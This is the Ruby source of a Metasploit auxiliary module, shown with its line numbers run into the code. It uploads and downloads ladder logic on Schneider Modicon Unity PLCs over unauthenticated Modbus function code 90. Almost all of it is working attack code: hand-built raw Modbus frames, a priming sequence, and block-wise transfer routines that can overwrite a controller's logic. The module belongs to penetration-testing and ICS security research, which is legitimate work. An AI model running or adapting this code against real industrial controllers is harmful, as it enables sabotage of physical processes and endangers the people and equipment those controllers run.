Path: blob/master/modules/auxiliary/admin/scada/modicon_stux_transfer.rb
19851 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::Tcp7include Rex::Socket::Tcp89def initialize(info = {})10super(11update_info(12info,13'Name' => 'Schneider Modicon Ladder Logic Upload/Download',14'Description' => %q{15The Schneider Modicon with Unity series of PLCs use Modbus function16code 90 (0x5a) to send and receive ladder logic. The protocol is17unauthenticated, and allows a rogue host to retrieve the existing18logic and to upload new logic.1920Two modes are supported: "SEND" and "RECV," which behave as one might21expect -- use 'set mode ACTIONAME' to use either mode of operation.2223In either mode, FILENAME must be set to a valid path to an existing24file (for SENDing) or a new file (for RECVing), and the directory must25already exist. The default, 'modicon_ladder.apx' is a blank26ladder logic file which can be used for testing.2728This module is based on the original 'modiconstux.rb' Basecamp module from29DigitalBond.30},31'Author' => [32'K. Reid Wightman <wightman[at]digitalbond.com>', # original module33'todb' # Metasploit fixups34],35'License' => MSF_LICENSE,36'References' => [37[ 'URL', 'http://www.digitalbond.com/tools/basecamp/metasploit-modules/' ]38],39'DisclosureDate' => '2012-04-05',40'Notes' => {41'Stability' => [CRASH_SAFE],42'SideEffects' => [IOC_IN_LOGS],43'Reliability' => []44}45)46)4748register_options(49[50OptString.new(51'FILENAME',52[53true,54'The file to send or receive',55File.join(Msf::Config.data_directory, 'exploits', 'modicon_ladder.apx')56]57),58OptEnum.new('MODE', [59true, 'File transfer operation', 'SEND',60[61'SEND',62'RECV'63]64]),65Opt::RPORT(502)66]67)68end6970def run71unless valid_filename?72print_error "FILENAME invalid: #{datastore['FILENAME'].inspect}"73return nil74end7576@modbuscounter = 0x0000 # used for modbus frames77connect78init79case datastore['MODE']80when 'SEND'81writefile82when 'RECV'83readfile84end85end8687def valid_filename?88if datastore['MODE'] == 'SEND'89File.readable? datastore['FILENAME']90else91File.writable?(File.split(datastore['FILENAME'])[0].to_s)92end93end9495# this is used for building a Modbus frame96# just prepends the payload with a modbus header97def makeframe(packetdata)98if packetdata.size > 25599print_error("#{rhost}:#{rport} - MODBUS - Packet too large: #{packetdata.inspect}")100return101end102payload = ''103payload += [@modbuscounter].pack('n')104payload += "\x00\x00\x00" # dunno what these are105payload += [packetdata.size].pack('c') # size byte106payload + packetdata107end108109# a wrapper just to be sure we increment the counter110def sendframe(payload)111sock.put(payload)112@modbuscounter += 1113# TODO: Fix with sock.timed_read -- Should make it faster, just need a test.114r = sock.recv(65535, 0.1)115return r116end117118# This function sends some initialization requests119# required for priming the Quantum120def init121payload = "\x00\x5a\x00\x02"122sendframe(makeframe(payload))123payload = "\x00\x5a\x00\x01\x00"124sendframe(makeframe(payload))125payload = "\x00\x5a\x00\x0a\x00" + 'T' * 0xf9126sendframe(makeframe(payload))127payload = "\x00\x5a\x00\x03\x00"128sendframe(makeframe(payload))129payload = "\x00\x5a\x00\x03\x04"130sendframe(makeframe(payload))131payload = "\x00\x5a\x00\x04"132sendframe(makeframe(payload))133payload = "\x00\x5a\x00\x01\x00"134sendframe(makeframe(payload))135payload = "\x00\x5a\x00\x0a\x00"136(0..0xf9).each { |x| payload += [x].pack('c') }137sendframe(makeframe(payload))138payload = "\x00\x5a\x00\x04"139sendframe(makeframe(payload))140payload = "\x00\x5a\x00\x04"141sendframe(makeframe(payload))142payload = "\x00\x5a\x00\x20\x00\x13\x00\x00\x00\x00\x00\x64\x00"143sendframe(makeframe(payload))144payload = "\x00\x5a\x00\x20\x00\x13\x00\x64\x00\x00\x00\x9c\x00"145sendframe(makeframe(payload))146payload = "\x00\x5a\x00\x20\x00\x14\x00\x00\x00\x00\x00\x64\x00"147sendframe(makeframe(payload))148payload = "\x00\x5a\x00\x20\x00\x14\x00\x64\x00\x00\x00\xf6\x00"149sendframe(makeframe(payload))150payload = "\x00\x5a\x00\x20\x00\x14\x00\x5a\x01\x00\x00\xf6\x00"151sendframe(makeframe(payload))152payload = "\x00\x5a\x00\x20\x00\x14\x00\x5a\x02\x00\x00\xf6\x00"153sendframe(makeframe(payload))154payload = "\x00\x5a\x00\x20\x00\x14\x00\x46\x03\x00\x00\xf6\x00"155sendframe(makeframe(payload))156payload = "\x00\x5a\x00\x20\x00\x14\x00\x3c\x04\x00\x00\xf6\x00"157sendframe(makeframe(payload))158payload = "\x00\x5a\x00\x20\x00\x14\x00\x32\x05\x00\x00\xf6\x00"159sendframe(makeframe(payload))160payload = "\x00\x5a\x00\x20\x00\x14\x00\x28\x06\x00\x00\x0c\x00"161sendframe(makeframe(payload))162payload = "\x00\x5a\x00\x20\x00\x13\x00\x00\x00\x00\x00\x64\x00"163sendframe(makeframe(payload))164payload = "\x00\x5a\x00\x20\x00\x13\x00\x64\x00\x00\x00\x9c\x00"165sendframe(makeframe(payload))166payload = "\x00\x5a\x00\x10\x43\x4c\x00\x00\x0f"167payload += 'USER-714E74F21B' # Yep, really168# payload += "META-SPLOITMETA"169sendframe(makeframe(payload))170payload = "\x00\x5a\x01\x04"171sendframe(makeframe(payload))172payload = "\x00\x5a\x01\x50\x15\x00\x01\x0b"173sendframe(makeframe(payload))174payload = "\x00\x5a\x01\x50\x15\x00\x01\x07"175sendframe(makeframe(payload))176payload = "\x00\x5a\x01\x12"177sendframe(makeframe(payload))178payload = "\x00\x5a\x01\x04"179sendframe(makeframe(payload))180payload = "\x00\x5a\x01\x12"181sendframe(makeframe(payload))182payload = "\x00\x5a\x01\x04"183sendframe(makeframe(payload))184payload = "\x00\x5a\x00\x02"185sendframe(makeframe(payload))186payload = "\x00\x5a\x00\x58\x01\x00\x00\x00\x00\xff\xff\x00\x70"187sendframe(makeframe(payload))188payload = "\x00\x5a\x00\x58\x07\x01\x80\x00\x00\x00\x00\xfb\x00"189sendframe(makeframe(payload))190payload = "\x00\x5a\x01\x04"191sendframe(makeframe(payload))192payload = "\x00\x5a\x00\x58\x07\x01\x80\x00\x00\x00\x00\xfb\x00"193sendframe(makeframe(payload))194end195196# Write the contents of local file filename to the target's filenumber197# blank logic files will be available on the Digital Bond website198def writefile199print_status "#{rhost}:#{rport} - MODBUS - Sending write request"200blocksize = 244 # bytes per block in file transfer201buf = File.binread(datastore['FILENAME'])202fullblocks = buf.length / blocksize203if fullblocks > 255204print_error("#{rhost}:#{rport} - MODBUS - File too large, aborting.")205return206end207lastblocksize = buf.length - (blocksize * fullblocks)208fileblocks = fullblocks209if lastblocksize != 0210fileblocks += 1211end212filetype = buf[0..2]213if filetype == 'APX'214filenum = "\x01"215elsif filetype == 'APB'216filenum = "\x10"217end218payload = "\x00\x5a\x00\x03\x01"219sendframe(makeframe(payload))220payload = "\x00\x5a\x00\x02"221sendframe(makeframe(payload))222payload = "\x00\x5a\x01\x04"223sendframe(makeframe(payload))224payload = "\x00\x5a\x00\x02"225sendframe(makeframe(payload))226payload = "\x00\x5a\x01\x04"227sendframe(makeframe(payload))228payload = "\x00\x5a\x00\x58\x02\x01\x00\x00\x00\x00\x00\xfb\x00"229sendframe(makeframe(payload))230payload = "\x00\x5a\x00\x02"231sendframe(makeframe(payload))232payload = "\x00\x5a\x01\x30\x00"233payload += filenum234response = sendframe(makeframe(payload))235if response[8..9] == "\x01\xfe"236print_status("#{rhost}:#{rport} - MODBUS - Write request success! Writing file...")237else238print_error("#{rhost}:#{rport} - MODBUS - Write request error. Aborting.")239return240end241payload = "\x00\x5a\x01\x04"242sendframe(makeframe(payload))243block = 1244block2status = 0 # block 2 must always be sent twice245while block <= fullblocks246payload = "\x00\x5a\x01\x31\x00"247payload += filenum248payload += [block].pack('c')249payload += "\x00\xf4\x00"250payload += buf[((block - 1) * 244)..((block * 244) - 1)]251res = sendframe(makeframe(payload))252vprint_status "#{rhost}:#{rport} - MODBUS - Block #{block}: #{payload.inspect}"253if res[8..9] != "\x01\xfe"254print_error("#{rhost}:#{rport} - MODBUS - Failure writing block #{block}")255return256end257# redo this iteration of the loop if we're on block 2258if (block2status == 0) && (block == 2)259print_status("#{rhost}:#{rport} - MODBUS - Sending block 2 a second time")260block2status = 1261redo262end263block += 1264end265if lastblocksize > 0266payload = "\x00\x5a\x01\x31\x00"267payload += filenum268payload += [block].pack('c')269payload += "\x00" + [lastblocksize].pack('c') + "\x00"270payload += buf[((block - 1) * 244)..(((block - 1) * 244) + lastblocksize)]271vprint_status "#{rhost}:#{rport} - MODBUS - Block #{block}: #{payload.inspect}"272res = sendframe(makeframe(payload))273if res[8..9] != "\x01\xfe"274print_error("#{rhost}:#{rport} - MODBUS - Failure writing last block")275return276end277end278vprint_status "#{rhost}:#{rport} - MODBUS - Closing file"279payload = "\x00\x5a\x01\x32\x00\x01" + [fileblocks].pack('c') + "\x00"280sendframe(makeframe(payload))281end282283# Only reading the STL file is supported at the moment :(284def readfile285print_status "#{rhost}:#{rport} - MODBUS - Sending read request"286file = File.open(datastore['FILENAME'], 'wb')287payload = "\x00\x5a\x01\x33\x00\x01\xfb\x00"288sendframe(makeframe(payload))289print_status("#{rhost}:#{rport} - MODBUS - Retrieving file")290block = 1291filedata = ''292finished = false293until finished294payload = "\x00\x5a\x01\x34\x00\x01"295payload += [block].pack('c')296payload += "\x00"297response = sendframe(makeframe(payload))298filedata += response[0xe..]299vprint_status "#{rhost}:#{rport} - MODBUS - Block #{block}: #{response[0xe..].inspect}"300if response[0xa] == "\x01" # apparently 0x00 == more data, 0x01 == eof?301finished = true302else303block += 1304end305end306print_status("#{rhost}:#{rport} - MODBUS - Closing file")307payload = "\x00\x5a\x01\x35\x00\x01" + [block].pack('c') + "\x00"308sendframe(makeframe(payload))309file.print filedata310file.close311end312313def cleanup314disconnect315rescue StandardError316nil317end318end319320321